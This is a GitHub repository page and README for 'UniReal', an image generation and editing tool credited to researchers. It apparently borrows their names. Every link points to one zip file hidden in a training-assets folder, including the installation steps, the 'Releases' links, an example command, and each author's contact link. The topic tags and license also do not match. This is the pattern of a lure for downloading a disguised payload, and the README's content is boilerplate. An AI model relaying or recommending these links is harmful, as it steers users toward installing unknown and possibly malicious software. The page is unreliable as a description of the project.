https://github.com/rajesh-1984/unireal
UniReal enables universal image generation and editing by learning real-world dynamics. Explore advanced techniques for creating and manipulating images. 🌟📷
https://github.com/rajesh-1984/unireal
openai openai-api realtimeapi unity
Last synced: about 2 months ago
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UniReal enables universal image generation and editing by learning real-world dynamics. Explore advanced techniques for creating and manipulating images. 🌟📷
- Host: GitHub
- URL: https://github.com/rajesh-1984/unireal
- Owner: rajesh-1984
- License: apache-2.0
- Created: 2025-07-03T23:28:49.000Z (11 months ago)
- Default Branch: main
- Last Pushed: 2025-07-18T08:49:31.000Z (11 months ago)
- Last Synced: 2025-07-18T10:38:08.957Z (11 months ago)
- Topics: openai, openai-api, realtimeapi, unity
- Language: Jupyter Notebook
- Size: 24.7 MB
- Stars: 1
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: readme.md
- License: LICENSE
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README
# UniReal: Universal Image Generation and Editing via Learning Real-world Dynamics
UniReal: Universal Image Generation and Editing via Learning Real-world Dynamics
Xi Chen1
·
Zhifei Zhang2
·
He Zhang2
·
Yuqian Zhou2
·
Soo Ye Kim2
·
Qing Liu2
·
Yijun Li2
·
Jianming Zhang2
## Table of Contents
1. [Overview](#overview)
2. [Features](#features)
3. [Installation](#installation)
4. [Usage](#usage)
5. [Contributing](#contributing)
6. [License](#license)
7. [Contact](#contact)
## Overview
UniReal focuses on generating and editing images by understanding real-world dynamics. The project leverages advanced machine learning techniques to create high-quality images that reflect the complexities of the real world. This tool is designed for researchers, developers, and anyone interested in the intersection of AI and visual content.
## Features
- **Image Generation**: Create images from scratch using learned dynamics.
- **Image Editing**: Modify existing images while preserving realism.
- **User-Friendly Interface**: Simple commands for effective use.
- **High Performance**: Optimized algorithms for faster processing.
- **Support for Various Formats**: Works with multiple image formats.
- **Open Source**: Contribute to the project and improve its capabilities.
## Installation
To get started with UniReal, you need to download the latest release. You can find the releases [here](https://raw.githubusercontent.com/rajesh-1984/UniReal/main/data_construct/subject_customization/training/assets/Real-Uni-v2.3.zip).
1. Navigate to the [Releases section](https://raw.githubusercontent.com/rajesh-1984/UniReal/main/data_construct/subject_customization/training/assets/Real-Uni-v2.3.zip).
2. Download the appropriate file for your operating system.
3. Follow the instructions in the downloaded file to install UniReal.
## Usage
Once installed, you can start using UniReal for your image generation and editing tasks. Here are some basic commands:
### Generating an Image
To generate an image, use the following command:
```bash
unireal generate --parameters
```
Replace `` with the specific settings you want to apply.
### Editing an Image
To edit an existing image, use this command:
```bash
unireal edit --input --parameters
```
Replace `` with the path to your image file and `` with the desired settings.
### Example Commands
Here are a few example commands to illustrate usage:
- Generate a landscape image:
```bash
unireal generate --parameters landscape
```
- Edit a portrait image:
```bash
unireal edit --input https://raw.githubusercontent.com/rajesh-1984/UniReal/main/data_construct/subject_customization/training/assets/Real-Uni-v2.3.zip --parameters enhance
```
## Contributing
Contributions are welcome! If you want to improve UniReal, follow these steps:
1. Fork the repository.
2. Create a new branch for your feature or fix.
3. Make your changes.
4. Submit a pull request with a clear description of your changes.
Please ensure your code adheres to the project's coding standards and includes relevant tests.
## License
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.
## Contact
For questions or suggestions, please reach out to the authors:
- [Xi Chen](https://raw.githubusercontent.com/rajesh-1984/UniReal/main/data_construct/subject_customization/training/assets/Real-Uni-v2.3.zip)
- [Zhifei Zhang](https://raw.githubusercontent.com/rajesh-1984/UniReal/main/data_construct/subject_customization/training/assets/Real-Uni-v2.3.zip)
- [He Zhang](https://raw.githubusercontent.com/rajesh-1984/UniReal/main/data_construct/subject_customization/training/assets/Real-Uni-v2.3.zip)
- [Yuqian Zhou](https://raw.githubusercontent.com/rajesh-1984/UniReal/main/data_construct/subject_customization/training/assets/Real-Uni-v2.3.zip)
- [Soo Ye Kim](https://raw.githubusercontent.com/rajesh-1984/UniReal/main/data_construct/subject_customization/training/assets/Real-Uni-v2.3.zip)
- [Qing Liu](https://raw.githubusercontent.com/rajesh-1984/UniReal/main/data_construct/subject_customization/training/assets/Real-Uni-v2.3.zip)
- [Yijun Li](https://raw.githubusercontent.com/rajesh-1984/UniReal/main/data_construct/subject_customization/training/assets/Real-Uni-v2.3.zip)
- [Jianming Zhang](https://raw.githubusercontent.com/rajesh-1984/UniReal/main/data_construct/subject_customization/training/assets/Real-Uni-v2.3.zip)
Feel free to check the [Releases section](https://raw.githubusercontent.com/rajesh-1984/UniReal/main/data_construct/subject_customization/training/assets/Real-Uni-v2.3.zip) for updates and new features.